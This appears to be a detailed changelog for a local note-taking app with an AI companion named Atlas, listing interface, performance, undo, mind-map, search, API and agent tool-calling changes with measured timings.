+- Moving around the app is smoother: a tab arrives from 0.4 rather than from nothing (every switch used to show the bare window for three or four frames), every popup (Settings, the palettes, Find anything, a confirm) fades its backdrop in and rises a step into place, and the Graph, Library and Documents show one placeholder the size of the page while their code loads the first time, then fade in whole. Late parts no longer push the page: the Library's Images and Files empty line waits with the placeholders (it jumped 396px down and back on every switch), Chat's empty card waits for its starters, the Timeline's day strip keeps its height, and Settings' model line says Checking the models… until it knows (INBOX 580).
+- Opening the app is one calm sequence: the splash (or the lock screen, once the password is in, its button saying Opening…) stays up while the first tab draws and then fades once over a finished page, never longer than 1.5 seconds. Before, the splash cut out without its fade (and stayed in the page), the status bar jumped from under the header to the foot, and the dashboard's greeting, clock and line about your notebook pushed the page down twice as they arrived. The companion comes in after the curtain lifts, at its own size: its entrances no longer squash or grow it, and Atlas's hello nod no longer draws its head a third larger for a moment (the large, small, large the owner saw at every start; INBOX 577).
+- Mind maps: adding a topic with Tab or Enter is quicker on a big map (the redraw of one add at 300 topics went from 120 to 420ms to 20 to 60ms here); the name opens for typing before the rest of the map shifts, and a hidden style rule that restyled every icon in the app on each change is gone (audit FEAT-02, second pass).
+- Concept maps: a topic made with Tab or Enter (and a new map's root) is still a note that search and Ask find, but Notes and Recently added leave it out, so a forty-topic map no longer puts forty one-word rows at the top of both; the board picker counts what is on the board and keeps the count current as you add (a map counts topics), the Library and the dashboard say links rather than sketches for the lines between cards, and after Enter names a card, typing renames it instead of picking tools (UX-06, audit 2026-10-05).
+- Library: opening the Library tab fetches only the Library's own code; the document editor, the whiteboard and the graph library (about 900 KB gzipped) come with the first document or board you open, or the Boards sub-tab.
+- Layout: the six rules that switched at 900px wide (the header's space name and mark, the chat's answer and records columns, the writing room's two boxes, the documents layout) switch at 820px with the rest of the tablet layout, so a window between 820 and 900 keeps the desktop header.
+- Design checks: the button census is now a sweep that fails when a kind of button (icon-only, ghost, filled, segment, tab, chip) shows up at a height it has not had before, naming the control.
+- Code health: a lint finds every GET that returns a list (or a dict holding one) by what it returns, not by its name, and makes it take a page or say why its size does not grow; On this day reads the five notes it shows instead of every match.
+- Code health: the agent's tool dispatch, the app's start-up, the chat stream and the agent's wrap-up round are split into named steps with no change in behaviour (the longest went from 455, 354 and 334 lines to 302, about 80 and under 270).
+- Code health: the event spec's per-write drivers, the skill harness's folded run and the filing prompt seam moved from the app's modules into tests/ (about 290 lines the app shipped and never called), and an unused timeline cursor encoder is gone.
+- Startup: the graph library (d3) loads with the Graph tab or the Library instead of before the lock screen, and the app's emblem draws on a plain canvas, so the 1 MB p5 library loads only for the dashboard's art widget (about 330 KB gzipped off every launch).
+- Notes: a card's category, Add tags and references chips take a click 2px above and below the chip as well, so each is a 28px target on a desktop while it still looks 24px tall.
+- Suggested links: a note's name is read only for the notes a suggestion names (1.08 s to 371 ms warm at 5,000 notes).
+- Graph: opening the map again with nothing changed reuses the last picture instead of rebuilding it (737 to 149 ms at 5,000 notes); a pin, a visit count, an attachment, a note put on a map, a link's reason or locking the vault still rebuilds it.
+- Editing a note: the save returns before its new text is embedded for search by meaning; the vector is made a moment later on the model's own queue, from the newest text if you kept typing (a real embedding model took 200 to 400 ms of every autosave).
+- Speed at 5,000 notes: a page of reference counts reads only the notes the search index says hold a long label's words (1,112 to 214 ms); the Timeline sends its rows once, not twice, and counts its days in the database (323 to 163 KB, 132 to 100 ms); Find duplicates on a notebook of a few hundred common words compares notes by one matrix product instead of pair by pair (about 160 s to 4 to 7 s) and sends each note's first 1,000 characters rather than the whole text; Library previews read at most the first 4,000 characters of a note.
+- Checks: an animated `filter` or backdrop blur now has to say why above it, as an animated layout property already did (it repaints everything under the surface each frame); the graph node's hover glow, the one there is, says so.
+- The '?' in the Suggestions, Manage tags and Manage categories sheets opens its explanation again (it did nothing: the sheet was built after the page's '?' buttons were wired). Escape closes an open explanation first and the sheet on the next press.
+- Whiteboard: a frame's title can be grabbed at any zoom. Zoomed out to fit a phone it was about 7px tall and a drag aimed at it moved nothing; its hit area now stays at least a touch target tall on screen (44px at the fitted zoom), and the frame, what is inside it and anything selected move together by one amount.
+- More deletes have Undo, from their toast and from the status bar (undo-1005): a reference removed from a note you are editing (it comes back in its place in the list), a note type (with its id and fields), a kind of link (with its key, and every link it was on typed again unless you have given that link another kind since), a chat (whole: its turns, pin, archive and dates) and a space that was empty or whose contents were moved to another (every moved row goes back, and a category merged into the other space is made again with its notes). Deleting a space together with everything in it stays final. Deleting a kind of link now clears it from links in every space, not only the open one.
+- Chat, Web panel: each result's snippet marks the words the search was for (the query's own words without the little ones), built as text nodes so a snippet is never parsed as markup, with the same accent wash a note card's search match uses (BACKLOG section 13).
+- Library, Documents: the more menu has Import a file as a document, which turns a Word file, PDF, spreadsheet, Markdown or code file into an editable document through the existing import route, redraws the list and names any file it could not read; the '?', the Guide's import topic and `tests/test_library_docs_import.py` say so (BACKLOG section 99).
+- Settings, Web search: the '?' now lists what the code does with a search (a browser-like request that never names the app, no cookies kept between searches, the words sent in the request body and not the address, tracking parameters stripped from results, a self-hosted engine keeping the words on your network), and `tests/test_websearch_privacy_copy.py` holds each claim against the module (BACKLOG section 13).
+- Search: the startup backfill and the Settings re-index embed notes in batches of 16 through one batched encode (`EmbeddingService.store_for_entries`) instead of one note at a time, and check for a cancel between batches; the stored vectors are identical (BACKLOG section 11).
+- Docs: BACKLOG.md swept against the code: 97 open items struck as built with their file and line, 3 recorded as decided, 44 whiteboard, documents, graph and harness items pointed at their plans, and 93 given a one-line Next brief or marked as the owner's call; four small ones were built in the same pass (the Web search '?', batched embeddings, Import a file as a document, highlighted web snippets).
+- Agent mode: asking for notes from "this week", "since Friday" or "last month" is counted by the app on your calendar rather than worked out by the model; an edit says what changed and which category the note is still in, so the answer cannot claim a move that did not happen; a note filed under a category you already have is never offered a tool that renames or merges categories; "added to Favourites" is understood as the pin it is rather than flagged as an unsaved note. The Daily review skill no longer spends a step reading the clock.
+- Notes: Capture counts words and reading time instead of characters; Write with Atlas counts the words in each pane and sets the draft in the same font as your thoughts; Escape clears the Ask question (INBOX 63).
+- Chat and Ask: hovering a citation number now also says which words it matched on, so a number pointing at the wrong note shows the wrong words (INBOX 76). Settings, Tools it can use: the list is grouped as Reads your notebook, Changes your notebook, Asks you first and Reaches the web (INBOX 71).
+- Agent mode: every change the assistant makes is checked before and after. A link to a note that does not exist, a retag that changes nothing, or a category that is a misspelling of one you have ("Heath" beside "Health") is refused with a line saying what to use instead, and the notes are read back after each change so a change that did not hold is reported as not done rather than claimed (row 19). Removing a tag now works whatever its case. With Ollama, a small model's first round on an instruction is decoded as a tool call, as it already was with llama.cpp.
+- Under the hood (WORLD_CLASS_PLAN F1, F5, F12): every saved setting is read through one module that never throws on blocked or damaged browser storage and never hands a page a value of the wrong shape (a number that is not a number was how a missing setting once flattened every card); every request to the app goes through one door, so the chat, Guide and log streams, every upload and import, and the exports carry the same sign-in, space and error handling; the notes list has one owner the dashboard waits for instead of loading the same notes twice, and it pages by the server's cursor so a note saved during a long load is not listed twice.
+- Files (WORLD_CLASS_PLAN F10): every reading of a file (its caption, the OCR text, the vision model's reading and each page read in the OCR workspace) is one `readings` view and one route, `GET /files/readings`, and all of it is searchable: an upload read by the vision model, and any page read page by page, could not be found by its words before. Background work (F7): re-indexing the notebook runs on the job pool in a lane of its own, so it no longer holds captions and the filing of new notes behind it.
+- Speed (WORLD_CLASS_PLAN 19.3, 19.5): the whole `EXPLAIN QUERY PLAN` pass at 5,000 notes. In the All spaces view (the default) every list sorted its whole table, because each list index led with the space; twelve indexes on the lists' own orders take the sort away (the Library's activity 76.6 to 4.4 ms, the Timeline's page 35.8 to 0.2 ms, the Library's notes 36 to 0.2 ms). The activity panel lists the next ten waiting jobs of each kind and counts the rest in one row, so dropping 2,000 pictures no longer makes every poll 2,000 rows (347 KB).
+- Skills and other agents (B8, H4): a Markdown file saved in the notebook's skills folder is a skill, listed in Settings, Skills and the chat's Skills menu the next time it opens, without a restart (the file's name is the skill's name, a "## Steps" list its steps, front matter its description, tools and inputs), and Settings says which files did not load and why. The API is also served under `/api/v1` behind the same unlock, and a change made by an outside agent (an MCP client, or a request naming itself in `X-MemoryMap-Agent`) is filed under that agent's name in History and the activity list, not as yours or Atlas's.
+- API contract (WORLD_CLASS_PLAN B7): every paged list takes a `cursor` and answers with `X-Next-Cursor` while there is more, `offset` paging unchanged; the notes list's cursor is a keyset, so a note saved between two pages neither repeats a row nor hides one. A note read carries an `ETag`, and an edit or delete sent with `If-Match` for a version that is no longer current is refused with 412 and the current note, so an outside client cannot overwrite a change it never saw. `GET /capabilities` says what this install has (the transcriber, Tesseract, the Office importer, the embedding backend, the API version).
+- Settings, Search index: the search engine's problem line is a warning notice with its icon. Settings, Models: an address you set that nothing answers says so (Nothing answered at the address, check it) instead of the server isn't running. An available update says how big its download is before you press Update. Suggested links: Link all above 70% says one thing for the lot.
+- Documents on a narrow window: the Edit/Read segment's well grows to the 44px touch height its buttons take, so they no longer hang out of its foot and sit on the row's centre line (INBOX 568).
+- Search and the local model (audit 2026-10-05): the finder and the palette find a note by meaning when no word matches, and through a typo ("gardn"), not only by keyword (ARCH-07, `tests/test_search_recall.py`). Background model work (captions, vision reading, filing jobs, the night and entity passes) waits between its calls while a chat answer streams, so a question waits at most for the one call in flight; follow-up suggestions are not asked for while the next question is already streaming (ARCH-09, ARCH-16 in part, `tests/test_model_gate.py`). A model server that is off fails within 5 s of connecting instead of after 10 minutes (ARCH-17). The context budget counts Chinese, Japanese and Korean text as about a token a character, so a CJK notebook no longer overfills the window and loses the system prompt (ARCH-15). Link suggestions and tensions keep each note's 12 best pairs, not every pair over the threshold (ARCH-11). Import cycles stepped round with `importlib` are counted by a ratchet lint, `tests/test_import_module_cycles.py` (ARCH-10).
+- API and data safety (audit 2026-10-05): `GET /entries` also pages by a cursor (`after`, `X-Next-Cursor`), so a note saved during the read neither repeats nor hides one; offsets still work and the client's switch is the frontend audit's FE-05 (ARCH-04). A request that does not validate answers the app's one error shape, a sentence, `code: invalid` and the fields, and never echoes what was sent; it echoed a password sent as a list (ARCH-12). The bin purge, the event-log compaction and the daily backup start on a thread once the server answers, not before the port opens (ARCH-19). A note sent twice by the offline queue is one note across a restart and two resends at once: `client_key` is a column with a unique index (ARCH-23, migration `a7d3e9c1f5b2`). Library's activity honours the search and the space and no longer loads whole audit rows (ARCH-24). `/export/backup` is an SQLite snapshot, the write-ahead log included, and carries `uploads/` (every attachment) beside `media/`; before, the newest notes and every attachment were missing (ARCH-18). `/graph` and `/changelog` are encoded on the worker thread, not the event loop (ARCH-14, ARCH-25).
+- People and things: merging two names has Undo, in the toast and on the undo stack, from an entity's page and from Suggestions, Names. Undo splits them back exactly: both names, their kinds and other names, every mention on the side it came from (the same rows, a dropped duplicate written back), and anything an earlier merge pointed at the folded name; Redo merges again (INBOX 553(a), `POST /entities/merges/{id}/undo`, `tests/test_entity_merge_undo.py`). Suggestions no longer loads every note to show a list (1.2 s at 5,000 notes for an empty one; audit ARCH-11).
+- "All spaces", the default view, lists from indexes: the notes list, the bin, the archive, documents, reminders, chats and media had indexes only for one selected space, so with All spaces SQLite sorted the whole table on every page (measured with EXPLAIN on the real statements; the chat list's pinned-first order sorted in a space too). The audit log is indexed by action and by date for the corrections and the Library's activity (audit ARCH-05, `tests/test_all_spaces_indexes.py`).
+- Saving a note no longer reads the notebook. Filing by your notebook's words and the kept tag suggestions use a corpus kept between saves and brought up to date by what changed (only edited notes are read and tokenised again), and filing by meaning takes its vectors from the search engine's matrix instead of decoding every stored vector; measured with embeddings up and no chat model, 400-word note, 5,000 notes: 4,300 ms p50 before, 390 to 615 ms after on a machine at load 10 to 13 (61 to 96 ms at 500 notes); `tests/test_save_cost_flat.py` holds the per-save work to a bound. Re-filing a note by hand now teaches filing with no model: two moves out of a category keep notes like it out of that category (WORLD_CLASS_PLAN I7's consumer, claimed built and unwired; the re-files `update_entry` records were also invisible to it). Private notes no longer feed the words filing learns from (audit ARCH-02, ARCH-08, ARCH-20). Search: `GET /search` (the finder and the palette) keeps to the space it is asked in, and "All spaces" leaves out spaces hidden from it (audit ARCH-03, `tests/test_search_spaces.py`).
+- Settings, Models: switching the chat backend keeps semantic search. The embedding service is re-pointed at the new client instead of rebuilt, so a loaded embedding model stays loaded (measured before: `embedding_ready` false and search keyword only until the next save, which then paid the 5 s cold load; audit ARCH-06, `tests/test_backend_switch_keeps_embeddings.py`).
+- Saving while the night pass or the entity pass is asking the model no longer fails: both passes commit before every model call and write each note in a short transaction of its own (measured before: every save during Run now answered 500 after 5.1 s, the busy timeout). A write that does lose the race answers 503 "The notebook is busy for a moment. Try again." instead of Something went wrong (audit ARCH-01, `tests/test_write_lock_during_passes.py`).
+- Layout (audit FE-11, FE-14, FE-19): a window exactly 600 or 720 pixels wide no longer gets both the narrow and the wide rules; the view toggles in every bar and a document's Edit and Read are the 28 pixel minimum tall (they were 24); the sidebar opener below 820 pixels is no longer cut off at the window's left edge; a Timeline row's cut-off preview shows in full on hover.
+- Failed actions are reported (audit FE-12): forgetting a memory, deleting a backup, pinning or deleting a question, clearing history or the server log, redoing a delete and deleting finished reminders now say why when they fail, and a contradiction is only reported linked or dismissed when it was. The dashboard and reminders read the server's times as UTC, as the rest of the app does (FE-16).
+- Reminders and the clear buttons (audit FE-08, FE-18): locking and unlocking no longer stacks another reminder poll each time (after four cycles an idle minute asked for reminders five times), and the clear buttons in Capture, Ask, Chat and the palettes follow their boxes without a once-a-second poll.
+- Graph (audit FE-04): a big map's layout ends. Past 1,500 notes it cools in 120 ticks instead of about 300, and any layout stops 20 seconds after the last thing that moved it (a drag or a reheat starts it again), where a 5,000-note map was still moving after 30 s with the tab at 44% of the main thread. A node under 4 pixels across on screen is drawn as one batched dot per colour instead of its sprite (4,983 of 5,001 at the fitted view); zoomed in, every node keeps its sprite.
+- Notes (audit FE-05): saving, binning, undoing, editing, publishing a draft, linking and a note's filing finishing re-read only the notes they touched (one GET /entries?ids= request) and patch them into the list, instead of re-reading the whole notebook. Measured at 5,000 notes: a save was 26 list requests and 16 s under load, now one 1-note request; the list, its count and the sidebar follow, and a patched list that disagrees with the server's count falls back to the full read. The list's clamp check measures every note before changing any.
+- Library (audit FE-03): opening the Library no longer starts the grammar checker. The load-time paint of an empty editor fetched the 15.9 MB grammar WASM, its worker and the 871 KB word list on every first visit; they now load when a document with text is opened (measured: Library visit fetches none of them; opening a document fetches all three and finds its mistakes).
+- Launch cost (audit FE-01, FE-02): the app's own scripts, stylesheets and page are served with their comments stripped (the files on disk keep them; a scanner, not a regex, proven by identical acorn token streams over every script), and each asset URL is stamped with a hash of its own file instead of a per-launch token. A relaunch now takes all 49 boot assets from the browser's cache (was 0 of 49); an edited file is still a new URL on the next page load. A cold load's assets went from about 2.4 MB to 772 KB; the app's 25 boot scripts from 792 to 329 KB gzipped. The grammar checker's WASM is gzipped once per version (8 MB instead of 15.9 MB on the wire).
+- Small things from the 2026-10-05 UX audit: on a phone a note's category reads whole (the time drops " · edited" first) (UX-13); no menu item shows a tooltip reading "undefined" (UX-14); the Guide sends you to Settings, Import & export, and every Guide badge names its Settings section as the nav does (UX-15); the Library says "words in documents" (UX-16); the status bar says "Notebook ready · AI off" and the first save with no model says it is filed by your other notes (UX-17); the notes dock stays under the sub-tabs as the list scrolls, on a wider screen (UX-18); Highlight in a colour offers the colours to pick (UX-19); the bin is "the bin" everywhere, with a glossary in DESIGN.md (UX-20); the Create dialog shows Ctrl+Shift chords only in the desktop window, where a browser does not take them (UX-21).
+- Status labels app-wide ("Built-in", "Installed", "In use for chat", a file's "Read · N words") are a tinted pill without an edge, matching the meta chips; their tone is the tint (INBOX 553 (c)).
+- Settings, Import & export: a download says so in a toast, the Recent exports list says where browser downloads go and refreshes after a desktop save, and the export and backup groups each say in one line what they are for; Dashboard, Weekly digest: with no model, a line under the button says why it is off, with the Settings link, where only a tooltip did (audit 2026-10-05, UX-11, UX-12).
+- Notes: the Connections column follows the note you are reading: the card you click, or else the one in view as you scroll, which wears a thin accent line at its left; the More menu's switch reads "Connections beside the note you're reading" (INBOX 571).
+- Notes list: Tab walks the controls of one card, the one the arrow keys are on, and then leaves the list; 27 notes were 281 Tab stops, now the card's own five to seven (audit 2026-10-05, UX-10).
+- Notes, Ask and the Guide: a selected question no longer brings up the writing popup (Highlight, Bold) over the tab bar after it is asked (audit 2026-10-05, UX-09).
+- Command palette (Ctrl+K): rows for the recycle bin (it opens the Library with Include the bin ticked), Questions, Ask, Undo and Redo, and each row answers to the words people type for it ("trash", "deleted", "backup", "restore", "theme"), where those found nothing (audit 2026-10-05, UX-08).
+- Ask and the agent: the status bar's wand says Agent, the name of the dialog it opens; with no model, Chat's suggestions say they open in Notes, Ask; the first starter is "What have I saved recently?", which Ask answers from the newest notes with no model (audit 2026-10-05, UX-07).
+- Library, Create: New mind map is a row of its own (it opens the board dialog on Mind map), and New concept map says what it makes, a board of note cards whose topics are saved as notes, instead of calling itself a mind map (audit 2026-10-05, UX-06, in part).
+- Documents: Enter (or Down at the end) in the title moves to the start of the body, as other editors do, from Read view too; it used to type the first line into the title (audit 2026-10-05, UX-05).
+- Search: a one-letter typo that finds nothing is searched as the nearest word in your notes, in Find anything (Ctrl+P) and Filter notes alike, and each says "showing results for" the word; Find anything no longer tells a notebook with notes that nothing is indexed yet when a search has no hits (audit 2026-10-05, UX-04).
+- Timeline and note cards: a day a note mentions sits on that day in every timezone (it was served as UTC midnight, so "on Friday" sat under Thursday 8:00 PM in New York) and reads All day; a time said with the day ("on Friday at 3pm") is kept and shown as written (audit 2026-10-05, UX-02).
+- Reminders: Magic add reads wall-clock times with no AI ("call mum tomorrow at 5pm", "dentist next Friday at 3pm", "pay rent on 1 November", "water plants tonight", "high priority"), so the dashboard's Remind me works on the default install; the wand is no longer disabled without a model, and the AI is asked only for a phrasing the rules miss (audit 2026-10-05, UX-01).
+- Mind maps: Write as a document (the board menu, or the command palette) turns a map into a new document: the central topic is its title, branches are headings, deeper topics lists, a topic's note the paragraph under it, and a card of the map at the top leads back to it.
+- Documents: a page break. The / menu's Page break (written \newpage on its own line) shows as a labelled dashed line, and what follows starts on a new page when you print, save as a PDF or download the HTML.
+- Dashboard: the Boards & maps widget draws the board or map with the most on it large, at its own shape: a small map at a readable size, a tall one in a taller card up to a limit and then fitted whole, its name under it, then the next four as rows (INBOX 553(d)).
+- Documents: a hidden formatting toolbar is easy to bring back: a Formatting button sits in the document's bar while it is hidden, Ctrl+Shift+X shows or hides it, the ⋯ menu says Show formatting toolbar, and the first time you hide it a note says where it went (INBOX 574).
+- Boards and mind maps: the cross-link tool's anchor dots no longer stay on a topic after you switch back to Select; deselecting, Undo, a tab switch or closing a menu clears them (INBOX 573).
+- Mind maps: a topic you have dragged into place (pinned, drawn with a dashed box) keeps the Edge bar the Shape menu says: a Solid bar is solid again instead of dashed like the box (INBOX 569).
+- Boards, mind maps and documents: Undo and Redo survive a reload. Each board, map and document keeps its last 100 steps on this computer, so closing the desktop window or reloading no longer takes Ctrl+Z away; locking the notebook clears them (INBOX 553(b)).
+- Mind maps: paste an indented or bulleted list (from a note, a document or another app) onto a selected topic and it becomes that topic's branch, one topic per line, nested by indentation; one Ctrl+Z takes it back (audit FEAT-09, the map half).
+- Mind maps: Tab and Enter open the new topic for typing at once instead of after the server and two redraws of the whole map (median 1,279ms to 320ms at 301 topics, measured back to back on the test box); a new topic and the name typed into it are one Undo step; after a name is committed the keys stay on the map and the name is read out; a laid-out map's topic menu no longer offers Bring to front and Send to back; and with a map open the command palette lists its commands (add, rename, fold, focus, tidy, layout, look, numbering, present, export). App-wide: three style rules that made every change to the page restyle all of it are rewritten (audit FEAT-02, 11, 15, 16, 17).
+- Documents: pasting from a web page, Word or Google Docs keeps the headings, bold and italics, lists, quotes, code and links (as Markdown) instead of flattening them to plain text; a link with an unsafe address keeps its words only, a code editor's copy stays plain, and Ctrl+Shift+V pastes plain text (audit FEAT-04).
+- Documents and notes: footnotes render in Read view, in a print or PDF and in the HTML export, not only in Live: `[^1]` is a raised number linked to its note, the notes are listed at the foot with a way back, and a comment exported as a footnote reads as one instead of as `[^c1]: remark` (audit FEAT-03).
+- Mind maps: a FreeMind `.mm` file's central topic comes in as the central topic, not as the map's name, so a one-root map round-trips and a Freeplane or XMind map keeps its centre; OPML, FreeMind and Markdown each bring a 101-topic map back whole. An imported map, or one made from your notes, opens in the tree-right layout and laid out, instead of in Free where the first Tab piled topics on each other (audit FEAT-01, FEAT-05).
+- Notes, Capture: the composer is one box; the note editor inside no longer draws its own border and focus ring a hair inside the composer's, and the composer's edge carries the focus (INBOX 560).
+- Boards: the gesture hints' close button is pinned at the strip's end after a divider, whole and evenly inset, instead of clipped past the edge (INBOX 562).
+- Dialogs: every dialog head is one row at every width, the title giving way with an ellipsis before its buttons would wrap onto a second line (measured on 42 heads at 390 and 1440; before, Where are my documents kept? and the dictionary put their X on a row of its own on a phone).
+- Documents, the dictionary: one head row at every width (Dictionary, its '?', Import, Export and the X as icons), the count opening the line under it, the search-field well (its glyph used to sit on the placeholder), and the switch rows drawn as switch rows instead of a switch over a small grey label; on a phone the spelling choice goes under its name. Dialogs app-wide: an on/off row in a small dialog is no longer drawn as a form label.
+- Documents, the Suggestions panel: one head row at every width (the name and its count, Fix N, Check with AI, a ⋯ with the Dictionary and the dock side, the X), measured one row down to the 240px right dock where it used to wrap; each finding is one row (the mark, the words over the reason in a narrow panel, then Accept and Ignore as quiet icons, Ignore last on every row), an opened row's answers sit under it rather than beside it, the candidates are quiet pills, Up and Down walk the rows and the focus moves to the next row after an Accept or Ignore; the empty state is one quiet line.
+- Dialogs: How are these connected, Manage this connection, Manage bookmark groups, Review the map before it is made, Export this board and a map's facts and look open on the same head as every other dialog (a 16px title and an X), instead of a small uppercase heading or none; the link kinds are quiet rows with the chosen one tinted, and a map's facts lose the extra filled Close.
+- Pickers: the dialogs that choose from your notebook (the mind map's Point a new node at, Add to a note, Make a map of these notes, Choose from your library) share one modern shell: a dialog head with its X, the search field with its glyph, and rows with an icon tile and the name over one line of facts (a note's category and when, a document's words, a file's size, a bookmark's site). Down and Up walk the rows and Enter takes one; the source tabs walk with the arrows and keep the list one height; the several-notes picker has the Attach picker's check rows and one filled button.
+- Timeline: the calendar strip under the dock is one header row. The month sits between its two arrows, and the seven days are one well across the rest of the row (it was a 448px column of bordered boxes with the arrows 230px from the month); today's number is filled, a dot marks a day with a page, and the days are one Tab stop the arrow keys walk, past either end a day at a time. On a phone the arrows take the row's ends and each day stacks its weekday over its number (46px wide at 390).
+- The app opens with 34 KB less script to download (gzipped, 792,754 to 758,418 bytes): the Settings window's own listeners, the catalogue's deep links, the welcome card, the update dialogs, the command palette's window, a note card's menu panels, the edit form's Similar and links panels and the put-on-a-board pickers now load the first time you use them. Nothing looks different; the first Settings open waits a few milliseconds for its file.
+- A face's large view is alive (INBOX 591): its weight shifts, its head sways and its arms drift on clocks that never line up, and its eyes and head turn to the pointer, as the companion's do; still but for its blink and breath under reduced motion. Measured over 2s: 7 of 40 parts move (3 before).
+- Atlas moves like a body (INBOX 540, 554, 556, 564, 575): each arm is a jointed chain, shoulder, elbow and wrist, that bends as one smooth outline, and every change of pose, act or mood eases there on springs timed by the size of the move (250 to 500ms), drawing back a little before a big one and settling past it, the shoulder a beat after the body, the elbow and the wrist after it; a wave lifts the forearm, the bell and the star map straighten the arm, folded and clasped arms bend at the elbow, and the arms swing in counter-phase while it travels; the head lags a change of pose and catches up; the hair trails the body's sway and a wave runs down both tails to the tip; the dress or cloak, the tails, the hair and the nebula stream each take a pose for what it is doing (resting, moving, sitting, lying, a gesture, thinking, happy, sad, startled), in a variant picked at random so repeats differ, blended with an overshoot and settle; his lower body is a cloak in her dress's celestial material; a blink is the lid coming down over the eye and back up, where a patch of skin with a heavy ink arc faded in and read as a thick brow; capped tips (the tails, his trail, the chin hand) are round instead of notched. With motion reduced, a pose changes at once and nothing idles.
+- Atlas, the feminine look: the fringe is five tapered locks with round tips over a smooth hairline, drawn with the hair's cap so no mood can open a gap; the astral wisps are tapered ribbons in nebula hues that fade at both ends, wrap behind the body and back round the front, with four-point glints that twinkle; the lower body keeps its shape as a dress that dissolves into light and motes at its end, with no outline; her figure is slimmer, her long hair four broad flowing locks with soft curls in place of a fan of spikes, her comet tail longer and feathered like her wings, and she breathes, floats and trails her dress on clocks of their own (still under Reduce motion). Both looks have a smaller, oval head with softer eyes, and arms that hang relaxed from the shoulder with a soft bend at the elbow, gestures rising from there; the masculine torso tapers from broad shoulders instead of being an egg (INBOX 550, 554, 555, 556, 559, 563, 564, 565, 567, 568).
+- Notes, Questions: Read notes now finds the questions your notes ask at once (the night pass, which otherwise runs only with background tasks on); the empty line says so (INBOX 551).
+- Whiteboard: right-click a frame's title, Export this frame…, to export the frame and everything inside it (locked items too) as a picture, PDF or SVG. A frame inside another moves with it.
+- Mind maps: View, Present branches shows a map full screen one branch at a time: the whole map first, then each branch fitted to the screen, with the same bar and keys as a board's Present frames (arrows, Space, Home, End; Escape puts everything back).
+- Mind maps: boundaries and summaries. A topic's menu (More, Branch) draws a boundary round its branch, rounded, dashed or as a cloud, in the branch colour and with a label if you like, and it grows, folds and moves with the branch; Summarise puts a brace beside one topic, or beside several selected side by side, with your words past its tip. Both undo, survive OPML and FreeMind exports and come out in the picture exports.
+- Whiteboard and mind maps: comments. Right-click a card, sticky, shape or topic and choose Comment… for a thread on it; a count on its corner opens the thread again, Enter posts, a trash deletes and Ctrl+Z takes either back. Kept with the item through moves, copies, undo and a duplicated board; not exported.
+- Graph topics can be renamed: the pencil on a topic's card gives it a name of your own, kept by its notes so it follows the topic through small changes, and the arrow brings the found name back (PUT /graph/topics/name). Library, Contents has By topic, a section per topic (INBOX 547).
+- More of the app has Undo (INBOX 537): merging duplicate notes (the words, tags and binned notes come back), generating or removing a note's title, changing a link's kind or properties, deleting several boards from the Library (they go to the recycle bin), and deleting a category from the keyboard. The audit of what has Undo and what does not is in WHITEBOARD_PLAN, "Undo coverage".
+- Undo and redo on boards and maps cover every change (INBOX 537): each board, map and document keeps its own history for the session, and Ctrl+Z or the status bar's pair walks the open one (the app's own stack everywhere else). A map gesture (fold, theme, numbering, layout, tidy, detach, remove keeping the branch, turn a line around, copy a branch, clear the map, reset every topic's style) is one step read off what it changed; a deleted topic comes back with its branch and under its parent; a deleted card, box or shape comes back with its links; a deleted selection and Clear board are one step each; a picture's file is kept so its Undo shows it; a branch dropped on a folded topic opens it rather than vanishing; a rename left open across an Undo can no longer write onto another topic. Deleting a board moves it to the recycle bin with Undo. Clearing completed reminders, and deleting an overdue or done one, can be undone.
+- Documents on a phone: in Read view the first line sits right under the head row (y=199 at 390x844, was 255): the document's name is not repeated as a heading under the row that already shows it, and the page's padding matches the card's. Desktop Read view still opens with the name.
+- Atlas, on a small model: "What tags and what categories am I using?" (two questions in one sentence) is read as a question, so the tag and category tools that change things are not offered for it; filing a note under a category that already exists no longer opens by offering to create the category; and when a request that must open with a tool call gets prose instead, the model is asked once more to call it (`tests/test_toolwords.py`, `tests/test_harness_tiers.py`, `tests/test_harness_robustness.py`).
+- Focus mode (the graph's local view): the neighbourhood of a note is drawn from an index of the notebook's connections that is kept until a note or link changes, instead of being rebuilt from every note on each open or refocus; measured on synthetic notebooks of 2,000 and 10,000 notes, a repeat call went from 129 ms and 1,032 ms to 13 ms and 23 ms (`tests/test_graph_local_scaling.py`).
+- Atlas, on a small model (under 8B): when a request must open with a tool call, the first round is offered only the tools that act and the searches that find the note named, so "Add X to my note" no longer opens with the clock and "Put X in my shopping note" no longer makes a new note (measured on a 3B: a right first tool 17 of 22 before, 20 of 22 after). A question's first round is offered no tool that changes anything, and "File the note under Health" is offered the note edit that sets its category.
+- Web search: pressing Start on SearXNG while a reinstall begins now stops at once and says it was being reinstalled, instead of waiting out three minutes and reporting that SearXNG wrote nothing.
+- Dialogs show one filled button at a time: the Documents AI panel's Replace with this, the OCR workspace's Save changes, the meeting recorder's Save as a note and Settings' embedding fix take the fill only when their step arrives (the button before them goes quiet); About's Install this version and Change keyboard shortcuts are quiet buttons.
+- Notes: the facts on a note's line (the dates it mentions, how sure the filing is, what points at it, reminders, a missing tag) no longer draw an outline, and the category chip lost its hairline; the ones you can press (the category, links, Add tags, the references count) still tone under the pointer.
+- Timeline: the month above the calendar strip opens a month calendar to jump past the seven days. Arrow keys, Home, End and Page Up and Down walk it, Escape gives the focus back, days after today are off, a dot marks a day with a page, and picking a day moves the strip to it and focuses it (nothing is written).
+- Help: the nine '?' buttons that still ran on the older hand-wired panel (Graph, Timeline, Notes' filter and capture, Skills, Boards, Media, Contents and Settings' search relevance) are the shared `data-help-for` popover now, and the Settings Logs dock has its own '?'. Same text, one code path; Escape on the Graph's '?' still leaves the map full screen. A lint fails if a hand-wired help panel comes back.
+- Timeline: a calendar strip above the feed shows the last seven days with a dot under each that has a page; pressing a day opens its note or document, or starts it in the composer with the date as the title (nothing is written until you save), and the arrows move a week. A note titled with its date now shows the day before and the day after as buttons under its title. Ctrl+D shares the same lookup, which asks `GET /entries/daily` before reading so an empty day is not a 404 (`scratchpad/ui-sweeps/daystrip.js`, `tests/test_daily_strip.py`).
+- Dashboard and Reminders: each dock now ends with a '?' that opens a short note on the page (the Dashboard's search, widgets and layout; the Reminders groups, the plain-words box and the calendar export), the same button every other tab's dock has; `tests/test_dock_help_507.py` fails on a dock without one (`scratchpad/ui-sweeps/dockhelp2.js`, 4 of 4 at 1440 and 390).
